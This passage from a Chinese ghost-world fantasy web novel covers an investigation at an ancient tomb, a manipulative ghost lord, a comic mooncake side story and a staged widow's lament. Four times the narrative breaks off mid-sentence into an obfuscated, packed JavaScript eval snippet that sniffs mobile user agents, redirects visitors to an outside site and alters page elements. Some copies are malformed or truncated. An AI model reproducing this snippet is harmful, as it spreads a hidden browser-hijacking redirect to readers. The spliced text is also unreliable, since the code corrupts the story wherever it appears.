而后无人知晓处,浓雾又起。街巷内传来某种兽类啃噬咀嚼的声响。 城南街巷。不见人踪。 青砖一块,两块,三块,四块,五块……顾屿一边走,一边低头于心中默默数着脚下青砖的块数。 乌归跟在他身后有些担忧地想,这孩子莫不是磕到脑袋磕傻了吧……这这这,咋看都不像个正常鬼能做的事啊…… 行至街巷尽头,顾屿猛一抬头,经这一夜眼下青黑又深了一层,闭眼深吸一口气,轻声道:“我知道了。” 乌归有些摸不着头脑,疑惑问道:“你知道什么了?” 顾屿伸了个懒腰,又打了个哈欠,郑重道:“这街巷中青砖数若是单数能助眠,若是双数就不行,只会让人越数越清醒。 元兄我先睡了,没事别叫我,如果可以的话,有事也别叫我。” 乌归:“……”兄弟你可真是奇葩的嘞…… 顾屿就近寻了一处墙角蹲下,头倚在身后墙壁上,双手环胸,闭目沉沉睡去。 乌归无法,只得陪着他缩在墙角晒太阳。……看上去更像乞丐了。 日头东升,四周渐渐明亮起来,万物被镀了一层金光。 乌归被这光亮刺得有些睁不开眼,转头推了推顾屿,准备让他换个地方睡。 却见顾屿面色苍白,魂体竟趋于透明,像是虚弱到一阵风都能吹散。 乌归大惊失色,伸手触至顾屿脖颈处,又后知后觉地想到自己同他早就已经死了,何来心跳。 一阵手足无措后,才记起要帮他稳固魂魄。翻开袖袍取出大包小包药物,寻了看似最靠谱的两瓶安魂药丸给顾屿服下。 待做完这一切,乌归这才发觉冷汗早已浸湿衣衫,只能默默祈祷这安魂药有效,顾屿吉人自有天相不会就此魂飞魄散。 不知过了多久,许是那药起了些效用,顾屿渐渐醒转。 一睁眼瞧见乌归正目不转晴地盯着自己,不免有些奇怪,伸手摸了摸自己的脸,有些怀疑地问道:“……我脸上有什么东西吗?……元兄?” 不问则已,此刻见他发问,乌归立时咬着唇眼眶泛红,下一刻这粗犷大汉泪如雨下,嚎啕大哭。 顾屿熟练地捂住了耳朵,心中尚在发蒙,低头思索。 难道自个儿的脸已经好看到了人神见之共愤,妖鬼见之共泣的地步了?啧,肤浅。 好不容易等乌归停下嚎哭,顾屿好心从本就破烂的衣衫上撕下一块布,递过去让他擦擦眼泪。 乌归眼泪汪汪地接过,只随意在脸上揩了两下,而后心有余悸地瞧向顾屿,抽抽搭搭道:“你方才,沉睡中险有魂飞魄散之兆。你且想想,这段时间你可是碰到了什么不该碰的东西。” 顾屿有些惊诧,认真思索片刻,颅内忽而一阵剧痛。昨夜窗外,我看到了什么?看到了什么来着? 血红色,暗金色,血腥气,命令,该死。顾屿捂着脑袋头痛欲裂,不断在心中发誓。不想了不想了,我不会再想了,我什么都没看到。 求求你,放过我,放过我! 乌归轻轻拍了拍他,声音里饱含担忧:“顾公子,你怎么了?” 过了许久,顾屿身上痛楚渐消,揉了揉脑袋暗骂了句真该死,看向乌归含混答道:“元兄你记着夜里不要看窗外。不然就会像我一样,都死了还要倒霉到现在。” 乌归认真点头。顾屿扶着墙缓缓站起来,这才发觉自个儿现在体虚腿软,头晕眼花,不由得无奈叹息。 乌归很有眼力见的上前扶着他,小心翼翼问道:“顾公子,接下来咱们做什么?” 顾屿费劲地向前挪了几步,闻言不自觉一顿,沉默片刻后道:“元兄可还记得西城鬼主府中的路径构造?” 乌归道:“不记得。” 顾屿装作生气的样子板着脸,沉声道:“这么重要的事你都不记得了?你们鬼主怎么教你的?” 乌归白了他一眼:“那顾公子你自己记得吗?” 顾屿理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340298|152605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不直气不壮道:“记不得。因为我脑子坏了。” 转而又接了句,“但元兄你脑子没坏啊,你正值壮年怎么能连这点小事都记不得呢?” 乌归无奈道:“我只去过几次西城鬼主府,而且每次都有专人带路,哪里会注意路径构造。” 顾屿沉思片刻,道:“那就只能另想办法了。不过,在此之前,我们还需要先弄清楚这些鬼魂消失的原因。” 他看向乌归,眼中闪过一丝寒光,“元兄,你是否知道这座大城有哪些地方是禁地或者有特殊规矩的?或许那里会有我们想要的线索。” 乌归想了想,道:“听说这城东有一座古墓,据说是先西城鬼主的安息之地,一般鬼进去都会受到诅咒,三日内必会魂飞魄散。 还有城北的莽水渊,据说那里经常有怨灵出没。不过,这些都是这些日子从街巷中听来的传说,是真是假着实难以分辨。” 顾屿点了点头,道:“不管怎样,我们可以去这些地方看看。也许能发现一些端倪。” 说着,他强打起精神,和乌归一起朝着城东的古墓走去。 一路上,顾屿莫名觉得有一股神秘的视线在窥视着他们,有如芒刺在背,但他无法确定这股力量的来源。一时也不敢轻举妄动。 行至将近午时,两人来到古墓前。只见墓门紧闭,周围杂草丛生,罕无人迹。四方密林中枯叶铺地,弥漫着一股腐朽与诡异的气息。 噬骨鸟自林中飞过,带回了刚刚猎到尚在惨叫的魂魄。 乌归胆战心惊,忍不住往顾屿身后稍稍退了两步。 顾屿走上前去仔细观察着墓门。只见墓门上刻着一些奇怪的花纹,细细看去更像是图腾。 蛇头兽身,尖齿利爪,肋生四翼。这花纹似乎蕴含着某种深意,不知被何人刻满了整座墓门。 正在这时,墓门突然缓缓打开,一股强烈的浓郁黑气涌出。数不尽的悲凉,凄惨,嚎叫,苦痛,挣扎,随之喷涌而出。顾屿和乌归心中一惊,连忙后退。 只见一个身影从墓中走出,竟是那夜的黑袍老者。 黑袍老者看着顾屿,眼中闪过一丝惊讶。“你竟然能活到现在......真是有趣。” 顾屿警惕地看着他,“你到底是谁?是你杀害了那些鬼魂?” 黑袍老者哈哈大笑起来,“我是谁并不重要。重要的是,你们的存在妨碍了我的计划。” 顾屿皱眉问道:“什么计划?” 黑袍老者冷声道:“这世间的阴阳平衡即将被打破,唯有净化这些鬼魂,才能拯救世人。” 顾屿冷笑道:“你所谓的拯救,就是残忍地杀害他们吗?” 黑袍老者微微一愣,随即说道:“牺牲少数,换取多数。这是必要的代价。” 顾屿摇摇头,冷声道:“那我倒想问问阁下,这所谓的少数指的是什么,所谓的多数又指的是什么?用贫贱者的少数换取上位者的多数?你所在意的,只是命数贵贱吗?” 黑袍老者一甩袖袍,大声喝道:“你管什么贵贱多少?尔等后辈多管闲事,今日必令尔等命毙于此!” 13. 不知名 气氛剑拔弩张,战势一触即发。 然而双方正准备出手之际,只听见那古墓中一阵窸窸窣窣的声响传来。 黑袍老者目光一凛,转身又要重新入古墓中。顾屿向乌归使了个眼神,乌归心领神会上前一步,严严实实挡在了古墓门前。 黑袍老者见状暴怒喝道:“混帐,还不滚开,休得误我大事!” 乌归被吼得虎躯一震,多少有些心虚地瞧向顾屿,盼着对方能帮忙解个围。 顾屿轻叹一声,负着手往前踱了几步,慢悠悠道:“不是,老人家,这墓里是个什么情况啊?怎么这魂魄消散后还能出声啊?唉,您别急着走啊,先给个解释呗。” 那黑袍老者却只斜睨他一眼,冷哼一声并不答话,微微侧过身,一掌拍在乌归右肩。 乌归只觉肩上卒然现出一股强劲力道,要将自己推往另一侧,心觉不妙,随即便重心不稳侧倒在了墓门前。 顾屿上前将他扶起,知并未伤到要害,这才微微放下心。 此刻四周静谧无声,却听见墓中声响愈发清晰。 黑袍老者手中燃起鬼火,又一挥一扬间,那古墓中刹时现出一条明亮通道。声响愈来愈近,愈来愈近。听上去竟像是人的脚步声,只不过略轻缓些。 顾屿同乌归对视一眼,俱是惊诧不已。黑袍老者眼眸中映着明明暗暗的火光,面色凝重,手上鬼火却愈燃愈旺。 又不知过了多久。终于,那鬼火光亮隐没处缓缓现出一道行动迟缓的墨蓝身影。那身影越来越近,行至墓门前时,所有人都看清了那张脸。 乌归呆呆愣愣地站在原地,看清那鬼面容的那刻下意识脱口而出:“西鬼主?您怎么也在这?” 顾屿冷眼瞧去,只见那鬼面容苍白,神情委顿,确与前些日子见过的西城鬼主形容无二。 只是那黑袍老者却目不转晴地盯着那刚刚从墓中爬出来的鬼主,不动,不惶恐,也不行礼。 顾屿顿时心下明了,也并不揭穿,只站在旁侧一味装瞎。 黑袍老者看着站在身前木木呆呆的西鬼主,手中掐诀,沉声问道:“汝为何人?来此何意?” 那西城鬼主默默转头,漆黑眼眸中并无丝毫光彩,缓缓张口答道:“我…无…名…无…姓,无…处…可…去……” 黑袍老者微微松了口气,手中血光一闪,指尖抵上了面前鬼的额头,闭目念咒。 那木木呆呆的西城鬼主眸中刹时翻涌出血色,嘶吼一声,痛苦不已地抱住了脑袋。 下意识想跑却又被黑袍老者的咒诀定在原地,手脚并用徒劳挣扎。过了些许时候,挣扎渐渐止歇。 黑袍老者闭目缓缓收手,面前的西城鬼主再睁眼时,面上已是一派温和。 西城鬼主抬眸从容看向呆在一旁的顾屿同乌归,轻声道:“让二位见笑了。此番事出有因,不如二位先随本尊回鬼主府,本尊再作解释。如何?” 乌归见问,这才惊觉后背冷汗已浸湿衣衫。顺手将顾屿往前一推,示意他回话。 顾屿亲眼目睹了这场大变活鬼的把戏,一时竟也难得语塞,勉强扯着嘴角笑了笑,牛头不对马嘴地答道:“甚好,呃,甚好。” 一众人悄然穿行在深夜里,行至西城鬼主府。 夜色深沉,府内浮着数盏幽绿灯光。屋檐参差不齐,远远望去如同静待噬人的兽的獠牙。 顾屿跟随着引路鬼侍,默默将这府中布局形势摸了个七七八八,暗自在心中记下。 乌归低垂着头走在他身侧,气氛出奇静默。 行至府内一处偏阁,引路的鬼侍为他们指明方向后自觉退下。 顾屿同乌归步入阁中。只见阁内主座上,西城鬼主已是换了身白衣,面容多了些血色,正捧着杯暖茶捂在怀中。 黑袍老者在一旁矗立如石像。 听闻声响,西城鬼主撩起眼皮懒散地瞧了一眼,复又垂眸,慢吞吞道:“喔,你们来了。坐。” 二人有些犹疑地行至一旁坐下,不太明白这西城鬼主葫芦里卖得究竟是什么药。 室内静默片刻。西城鬼主抿了口茶,平静道:“今夜所见之事,烦请二位勿告他人。至于二位心中疑虑,于此处但问无妨。本尊自当知无不言,言无不尽。” 顾屿盯着他,片刻后开口道:“……鬼主先前在人前的怯懦软弱之态果然只是装出来的。” 算不上疑问,反而像是在简单陈述早已认定的事实。 西城鬼主对此一笑了之,并不作辩解,眉眼于昏暗灯光下现出些许怜悯意味。 更多像是上位者对下位者百般探求却又窥不清事实的,高高在上的俯视与怜悯。 顾屿被那熟悉的怜悯蓦得刺痛了,下意识地垂下了眼眸,沉声问道:“那敢问鬼主大人为何要滥杀城中鬼?” 西城鬼主瞟了身侧僵立的黑袍老者一眼,颇嫌弃道:“你又对他们胡说八道了些什么?” 黑袍老者满面愁容抬头看他,而后双膝一弯,一言不发,直挺挺地跪在了地上。 顾屿:“……” 什么意思啊?你俩搁这一唱一喝地逗鬼玩呢? 乌归坐在一旁,好不容易从今夜所见的变故中缓过了神,此时又开始嘴在前面飞,脑子在后面追:“啊?这,这鬼主大人,这到底是怎么个事啊?” 顾屿很是欣慰地看了他一眼。挺好一鬼,就是嘴快了点。 当友方的时候关键时候能替人挡死。 西城鬼主面色阴沉,眸内寒意翻涌,一脚将那跪在地上的黑袍老者踹翻在地,冷笑道:“说吧,你都做了些什么?” 看着挺文弱一鬼,没想到劲倒挺大。 黑袍老者爬起来跪好,仰头看向鬼主,声音莫名悲凉:“回尊主。古墓既开,墓里面的神兽会出来替尊主拔除城中有异心者。佑我城百世安宁。” 西城鬼主冷哼一声,看向下方坐着的二人,微微挑眉道:“怎样?二位对这个结果可还满意?” 顾屿忽而装模作样地叹息一声,皱着眉头,手中掐算不停,良久,又缓缓吐出一口气,笑道:“说得对。那就自然是没事了。” 复又轻轻一扯乌归的衣袖,乌归会意,同他一道起身行至阁中央,行礼告辞。 西城鬼主倒也不阻拦,抬手令鬼侍引他们出去。 待阁中只余黑袍老者一人,西城鬼主轻声叹息,将杯中茶尽数倾在地上:“既然那神兽如你所说如此有用,那就让它去杀了他们。别留下痕迹。否则,” 他目光一凛,似要将眼前人的身体洞穿,声音却依旧平静,“你就替他们去死吧。” 黑袍老者沉默片刻,伏跪于地,点头称是。 阎浮城。迷津渡。 叶泠觉得自己在做梦。 破旧的木屋内,地面上堆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340299|152605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满各色灵石,金银,钱币。灵石按上中下三阶堆成了三座山,金银各自一堆,金光闪闪,银光闪闪。 钱币则是整整齐齐码成了两座山。叶泠仰着脖子看了半天也看不到山顶,有些忧心自家屋顶会不会被这么多座山顶塌。 房屋上方。燕鹤青看着那被捅破得只剩了几根草的屋顶,默默放弃了要用法力修补一下的想法。 当即决定装作什么都不知道的样子劝叶泠再修一座屋。她镇定自若地走到屋里,受到了叶泠这辈子最热烈最真心实意的欢迎。 燕鹤青礼貌微笑表示不客气,关爱残障老幼都是自己应该做的。 叶泠兴奋之下一时也懒得去怼她,张嘴就是如何如何花钱,如何如何去哪花钱,如何如何该让这么多钱变成更多的钱。 一直说到口干舌燥,尚还有些意犹未尽。转头看向燕鹤青打算让她帮忙参谋参谋。 燕鹤青却是似听非听地倚着一座灵石山,脚下不自知地打着拍子,唇角现出一抹似有若无的笑意。 叶泠莫名打了个寒颤。跟燕鹤青打交道这么些年,这种笑容她再熟悉不过。 但凡燕鹤青这么笑,那就一定是有人要倒霉了。而且是倒大霉了。 再联想到这莫名其妙跟燕鹤青一块到来的泼天富贵,金山银山,叶泠的心凉了半截。难不成自己要倒霉了? 她犹犹豫豫斟酌再三,小心又谨慎地往燕鹤青身侧挪了几步,闭眼咬牙问道:“你……你是不是又要我去做什么送死的事?” 燕鹤青嗤笑一声:“不是。” 叶泠略微放下心,又试探道:“那,刺杀?” 燕鹤青叹息:“不是。” 叶泠就又把心往下放了放:“那,帮你处理文书?” 燕鹤青揉了揉前额,有些无语:“……不是。” 叶泠彻底放下了心,问道:“那你要我做什么?” 燕鹤青抬眼看向她,目光灼灼,欲言又止。 叶泠心中刹时警铃大作,双手抱臂环住自己往后退了几步,紧张道:“我……我不玩这个。”顿了顿,看了眼金山银山,又有些舍不得,一咬牙,“……那也得加钱。” 燕鹤青:“……”什么玩意? 北鬼主有些哭笑不得,无奈道:“……平日里少看些不正经的话本。多读些正经书。” 叶泠将信将疑地盯着她,嘴硬道:“这也不做,那也不做,那你究竟想要我做什么?总不会是突然良心发现,白送我一屋金银吧?” 燕鹤青不去看她,默然半晌才又开口道:“叶泠,你想做北鬼主吗?” 叶泠有些不敢相信自己听到的话,呆愣道:“开玩笑的吧,你疯了吗?还是喝醉了?不是,你这人怎么还胡言乱语啊?你—” 燕鹤青打断了她没完没了的疑问:“我有我要去做的事。但绝不是以北鬼主的身份去做。我要离开这里,你明白吗?” 叶泠目光呆滞地看着她,而后抬手狠狠掐上了自己的手臂,顿时痛得倒吸冷气,却还是怎么都不肯相信,闭眼嘀咕:“这他妈一定在做梦吧…… 我就知道,你怎么可能良心发现给我钱,我就知道……假的假的,快醒快醒啊……这梦再做下去就得成噩梦了啊……” 燕鹤青沉默地看着她,开始思考能不能收回自己刚才的话。 毕竟眼前这个二货实打实不像是能当鬼主的料。 14. 今夕何夕.中秋番外 这篇算中秋番外吧,就当全是人类的平行时空好了,跳出正文时间线。祝大家中秋快乐啊! 八月十五夜,中秋团圆节。 偏僻屋舍乌七八糟,屋顶上刚刚修补好的破洞在呼号着的秋风作用下又有卷土重来之势。 皎白圆满的月亮缓慢爬上天空,月华流转间,依稀可见屋舍四周笼上一层浅紫光晕,是被人布下了结界。 顾屿站在结界外,一边侧耳留神听着屋舍内的动静,一边面不改色地一巴掌拍死了今夜冲自己叫嚣狂叮的第三十七只蚊子。 他面上老神在在,内心比蚊子叫嚣地更厉害。 都怪叶泠非要心血来潮地鼓动大家亲自动手做什么月饼,结果除了对自己厨艺没有丝毫正确认知的燕鹤青,其余人统一口径表示拒绝。 但是!燕鹤青答应后就真的去做月饼了! 她一个连烤鱼都烤不熟的人跑去做月饼了! 还把自己轰了出来不让进门! 在燕鹤青心中自己居然连个月饼都比不过! 顾屿悲哀仰头望天,觉得自己的人生荒芜得可以一眼看到头。 悲哀着,悲哀着,屋舍里噼里啪啦的声响终于还是出现了。 顾屿凝神仔细去听,先是不知所以的瓷瓶碎裂声,那是叶泠前几天刚从集市上淘到的。 而后是碗碟落地声,得嘞,这下饭都吃不成了。 最后经过几番细微声响后,屋内响起了除夕夜中令人备感亲切的一阵噼噼啪啪鞭炮声。 太热闹了。太喜庆了。除过一个绝对清楚的事实……他们根本没买鞭炮。 顾屿表示我知道我不该进去,但我真的很想知道这声响究竟是怎么在做月饼的过程中发出来的。 而后,他手中现出幽蓝利刃划破了结界。 时间倒回到燕鹤青嫌顾屿烦,把人隔在结界外的时刻。 这屋舍外面瞧着矮小破旧,内里却大有乾坤。经过众人合力几番修整已经拥有了一个近乎完美的灶房。 燕鹤青在完美的灶房里转悠半天,才凭借自己出众的眼力从一堆杂物中扒拉出一袋面粉。白白糯糯,摸上去手感不错。 燕鹤青怀揣着对做饭的一腔热爱以及以往数次试错的经验完美地揉好了面。而后又完美地调好了馅料,完美地用模具印好了月饼。 最后燕鹤青决定把这完美的月饼放在火边烤一烤。 谁料白软软的完美月饼感到热度后开始拼命尖叫。燕鹤青手一抖,月饼掉进了火里,焦了。 焦黑焦黑的小月饼扑腾着长出手脚,一边叫着好烫好烫救饼啊一边从火中一跃而起扑到了桌上。 瓷瓶被它一下撞翻了,燕鹤青正沉浸在我做的月饼居然成精了的震憾中,一时不察,瓷瓶落地“啪”地一声碎了。 焦黑的小月饼在桌上极速奔跑,一路撞碎了碗碟无数瓷杯若干,最终打翻了茶杯浸了一身苦涩凉茶。 全身抖动着发出了一阵足以惊天地泣鬼神的鞭炮声响后,才堪堪停了下来瘫软在桌上。 燕鹤青倒也不在意这小月饼究竟打碎了多少东西,俯身伸手戳了戳它,认真道:“你是一个月饼。” 小月饼颤了颤,周身软趴趴得也走不动路,遂乖巧地答道:“我~知~道~呀~” 声音是令人窒息地甜腻。 燕鹤青皱了皱眉,又戳了戳它:“好好说话。” 焦炭样的小月饼委屈撇嘴,声音低了几分:“可~是~人~家~是~甜~芝~麻~馅~的~啊~,人~家~只~能~这~么~说~话~。你~要~是~嫌~人~家~烦~,就~给~我~换~一~个~馅~嘛~,五~仁~怎~么~样~?” 燕鹤青轻声笑了起来,伸手提溜着小月饼,决定把它放在火边烤干。 不曾想下一刻,顾屿划破结界三步并作两步跨入屋内,一把将燕鹤青拥入怀中,急切问道:“你,你没事吧?你受伤了吗?有没有哪里碰疼了?啊?怎么不说话?” 被他拥住的燕鹤青目光复杂地看着自己指尖上的一小块焦黑月饼皮,又缓缓下移看向了瘫在地下软烂的黑泥,默默闭上了眼。 顾屿见她久久不答话,不免又更加担心,生怕她因做月饼的事从此丧失了做饭的信心。 他沉默着松开了燕鹤青,又往后退了一步打算问个清楚。一不留神脚下像是踩到了什么软乎乎的东西。 顾屿下意识地低头,对上了焦黑烂泥中更加焦黑的一双豆豆眼。 焦黑烂泥挣扎着开口说话,气若游丝:“少~侠~你~踩~到~我~了~,少~侠~你~好~重~啊~” 顾屿十分平静地礼貌抬脚,又很不经意地重重踩了上去。小月饼顿时眼冒金星。 燕鹤青有些无语地看向顾屿,扯了扯他的衣袖,示意他高抬贵脚,饶饼一命。 顾屿低下头缓慢移开了脚,委屈道:“它骂我胖!” 燕鹤青:“……这不重要。” 顾屿伸手抱住她一起往前蹦跶两下,好奇问道:“你这是从哪弄了只烂泥妖?也没听说这附近有泥巴成精啊?” 燕鹤青耳根微微红了,轻咳一声道:“有没有可能,它其实是块月饼……” 屋内沉寂了那么一瞬。 本着该夸就夸,不该夸也要硬夸的原则,顾屿看看她,又看了看地上那摊烂泥,决定开始装瞎。 他咳嗽一声,而后情绪饱满,无比诚恳道:“月饼,当然是月饼。我一眼就看出来了,做得真好,天啊,这也太像月饼了。怎么能做得这么像,改天也教教我怎么做。好不好?” 燕鹤青沉默半晌,这下耳根红是退下去了,脸颊又开始发烧,故作从容道:“倒也不必硬夸。” 顾屿笑了笑,转身揭下了那块烂泥,问道:“喂喂喂,小月饼,你怎么活啦?” 小月饼很有骨气地哼了一声不理他。 燕鹤青伸手指了指桌板上揉好尚未成形的面团,顾屿有些诧异:“就这个?” 燕鹤青微微点头:“对,就这个。” 顾屿到水槽边把小月饼同自己的手一块洗了洗,小月饼彻底成了一摊面糊糊。 顾屿有些抱歉地冲它笑了下,转头就去对战那团雪白的面团。 先揪下一点面搓了个小白团子。然后,小白团子开始在他手里往东一窜长出条胳膊,往西一窜长出另一条胳膊,腿也如法炮制。 最后,小白团子整个身子往下一缩,脑袋上长出一朵鲜红色的五瓣花。 燕鹤青满意地看着顾屿目瞪口呆的样子,手中现出浅紫火焰帮小月饼烤干身子。 那边小白团子已经长出了乌溜溜的大眼睛和小巧的嘴巴,正用力挣扎着试图逃出顾屿的手心,咿呀咿呀咕噜咕噜说个不停。 小月饼已经被烤成了个灰不溜秋的干饼,站起来略微活动活动腿脚,高兴地向小白团子蹦跶过去,拉住了她的手。 小白团子用力一蹦,逃脱了顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶泠沉默着把鸡扔到了草垛里,顺手抽出了把菜刀。 燕鹤青从容不迫地四下看了一圈,试图寻找逃跑路线:“我赔钱。” 叶泠火冒三丈,举着菜刀满屋子追着她跑:“赔钱?赔什么钱?谁让你用我的万植灵粉的?我收集了几百年才收到了这么一点,你怎么敢把它全用了?!!” 燕鹤青跑得飞快,见缝插针地答道:“谁让你把它扔在灶房的,我以为那是面粉……” 叶泠咬牙切齿,脚下翻滚着两股气流:“那是因为在我们家根本没人用灶房!” 燕鹤青回怼:“但现在我们来了,所以当然会有人用……” 叶冷大怒:“你给我站那!” 燕鹤青闻言条件反射般停顿了下,反应过来后再度拔腿就跑。 顾屿有些担忧地观察战局。千辞默默把鸡塞到了他怀里。顾屿眼皮一跳,狐疑地看向他:“……怎么把鸡给我了?” 千辞板着一张俊脸,冷漠道:“出家人不打诳语,我不会杀鸡。” 顾屿:“……” 屋舍内,喧闹不停,吵嚷不休。 屋舍外,明月高悬,清辉照林。 所幸,轮回百转,我终于还是遇见了你。 从此,人间烟火,有你有我。 16. 前夜 但很快乌归就意识到,这世上的冤大头真不少。 凭借着在灵柩前长达一个时辰的嚎哭与埋怨,顾屿成功在多半鬼侍心中混到了“首领未亡鬼”的头衔。 少数鬼侍仍是心有疑虑,皱着眉头默默地上下打量着不请自来的两鬼,暗自思忖这哭诉几分真几分假。 顾屿在那灵柩旁嚎哭得惊天动地,埋怨得活灵活现,嚎得嗓子都哑了也不见有小鬼来劝解,心道这帮鬼可真是没眼力见。 虽说自己此行是为了来演一出寡妇哭坟,但也不能让寡妇一味哭坟啊。 正事还一件没办,乌归的钱也不能白花。嚎到这程度还不劝,那就只能由自己亲自动手了。 顾屿在心中微微叹了口气,而后半边身子伏在了灵柩上,以袖捂面哀哀低泣道:“呜呜呜……负心人啊……我原以为死后你我便得相聚,怎料再见又是死别……这天道如此无情……我……我还是随你去了吧……呜呜……” 说着,手中不知从何处拿出三尺白绫,从容在脖颈上绕了几圈,而后勒紧,晕厥,动作行云流水,一气呵成,实在让人叹为观止。 院中诸鬼大惊失色,立时上前解白绫的解白绫,灌药的灌药。 情急之下,顾屿面上白纱被扯到地上,灌药的鬼侍看清他脸的那一刻忽而愣住了。 那白纱下掩盖的半张脸竟全部都是烧伤的痕迹,从脸颊两侧蔓延至脖颈,疤痕如同某种肉色虫类,在面上随着顾屿的细微表情歪斜扭曲,状如妖魔,狰狞可怖。 负责灌药的鬼侍呆呆站在原地说不出话。身后的其余鬼侍不明所以地催促他,却又无一例外地在看清顾屿面容的那一刻静默不语。 乌归原本只想心情复杂地远远看着那边鸡飞狗跳的热闹,未曾料到那群鬼中一个年长的鬼侍忽而转身冲他招手喊道:“喂,阿牛,是叫这个名字吧,唉,对,就你,你过来。” 你才叫阿牛,你全家都叫阿牛。 乌归左顾右盼了一阵,觉得自己现在最好的解决方法是先找面墙一头撞死。 那边众鬼将顾屿小心翼翼地扶到了椅子上,又将妥帖地将白纱给他戴好。 转头开始盘问乌归。一个年长的鬼侍摇头叹息,轻声问道:“你娘脸上那些疤痕,是怎么回事啊?” 乌归努力瞪大双眼试图理解他话中的意思,心道不瞒你说,我也是今天刚知道我娘还活着且脸上有疤。 至于这到底是怎么个事呢,你先等等,让我胡思乱想给你好好编一编。 众鬼将二人团团围在了中间,只见乌归皱着眉头表情痴痴呆呆,身上衣襟破旧,脸胀得通红,瞪着眼睛半晌也憋不出来一个字。 鬼侍们不禁疑心大起,正准备进一步逼问时,只听身后传来一阵惊天地泣鬼神的咳嗽。 顾屿捂着胸口咳得满面通红,发丝散乱,才堪堪将鬼侍们的目光都吸引过来。 顾屿缓缓睁眼,四下看了一圈,声音嘶哑道:“咳咳,你们何苦救我。让我随我家那苦命负心人去了岂不正好?自他去后,我们母子二人在人世这些年流离失所,忍饥挨冻,受尽了白眼。 ……这孩子幼年时生了场大病,被那乡野庸医医治不当变得痴傻。” 顾屿说着说着情绪激动起来,又是一阵咳嗽。好不容易停下来,他用手帕捂着嘴,一只手指着乌归,眼中满是慈爱的光辉。 “药不知吃了多少,也总不见效。我们家底本也不甚殷实,又为了我这痴儿走南闯北寻医问药,不过几年便已欠了不少债。” 说及此处,顾屿又顿了顿,伸手抚摸自己面上白纱,叹息道,“债主年年上门逼迫。我们一家东躲西藏终究还是被人发现,那日他们那些人将房屋围住,点燃火把要我们要么还钱要么丧命。 我们苦苦哀求他们宽限些时日,为首的却说什么都不肯再答应,勒令手下将火把扔到屋内将我们活活烧死……” 顾屿呆呆望着地面,眼中滚下泪珠,再度哀泣道,“可怜我那当家人被火烧身一命呜呼,我同阿牛侥幸被好心人搭救才活了下来。 你们信也好不信也罢,我此行也不过是为了见他最后一眼。恳请诸位大人发发慈悲,开下灵柩,让我再看看我那苦命人吧。” 众鬼齐齐低头沉默,有年岁尚幼者已然泪流满面。 乌归看向顾屿,心中隐隐不安,觉得这小子说的未免也太像那么回事了。哭泣低语恰到好处,像是……像是亲身经历过一般。 他被自己的想法吓了一跳,摇摇脑袋逼迫自己去想平日里顾屿没皮没脸讨打的样子,这才好受了些。 静默良久,一位年长的鬼侍站了出来,走到顾屿面前低声道:“夫人,请您体谅,首领他被寻到时魂体残破不堪,这恐怕—” 顾屿双眼含泪,苦笑着打断了他的话:“会比亲眼看着他被烧死更难接受么?” 那年长鬼侍支支吾吾说不出话,纠结片刻,又同身边众鬼小声商讨一番,这才说道:“想来首领也很惦念夫人,那就破例一回。切记不可外传。” 顾屿抹泪点头应下,由两鬼侍搀着走至灵柩前。不多时,沉黑棺盖被掀开。 顾屿看着棺内残留着的首领躯体,眼中惊诧一闪而过,一时竟忘了哭泣。众鬼只当他见这残躯哀伤过度,不免愈发心生怜悯。 棺内余下的只有一对泛着血丝眼珠与残缺的四肢,头颅同躯干不知去向。同客栈老板的死法如出一辙。 顾屿站在原地沉思不语,脑海中莫名浮现了双属于兽类的血红瞳眸,再度头痛欲裂。 鬼侍们见状赶忙扶着他坐下,将棺盖合上后,又开始给他取水灌药。 过了好一阵,顾屿才重又清醒过来。乌归蹲在他身边,小声问道:“你怎么了?” 顾屿摇摇头,让他把自己扶起来,面色苍白,有气无力道:“多谢诸位,如今我心中执念已了,再无所求。今日便要带着阿牛离开这里,再入轮回路。 只是来此处的路上身上银钱已用尽,不知可否请大人们借我们些银钱做路费,我愿立誓来世做牛做马报答大人们。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340302|152605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼侍们相顾无言,犹疑片刻,见顾屿双眼红肿,神色愁苦。面上泪迹未干,脚下虚浮无力,颈间犹有鲜红勒痕。 乌归又是看着凶蛮实则痴呆无用,兼之首领新丧。不免都起了恻隐之心,一时间纷纷慷慨解囊,银钱满天飞。 